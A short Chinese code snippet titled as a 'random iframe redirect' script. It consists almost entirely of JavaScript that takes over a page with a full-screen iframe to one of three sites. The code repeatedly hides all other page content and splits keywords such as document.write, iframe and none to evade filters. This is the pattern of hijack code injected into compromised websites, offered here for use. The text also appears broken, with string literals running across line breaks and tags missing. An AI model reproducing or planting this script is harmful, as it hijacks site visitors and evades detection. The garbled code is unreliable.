随机iframe框架跳转的js代码

var m = 3;//几个事件
var n = Math.floor(Math.random() * m + 1); //随机选取事件
switch (n) {
case 1://事件一：iframe框架跳转
    a = 'http://www.baidu.com';
    var ss = '
<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.baidu.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch(e) {}
            }
        },
        100)
    } catch(e) {}
    break;

case 2://事件二：iframe框架跳转
    a = 'http://www.sougou.com';
    var ss = '
<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.sougou.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch(e) {}
            }
        },
        100)
    } catch(e) {}
    break;

case 3://事件三：iframe框架跳转
    a = 'http://www.360.com';
    var ss = '
<ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.360.com">
html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setInterval(function() {
            try {
                document.getElementById("div" + "All").style.display = "no" + "ne"
            } catch(e) {}
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    if (b != "iconDiv1" && b != "showcloneshengxiaon") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch(e) {}
            }
        },
        100)
    } catch(e) {}
    break;
}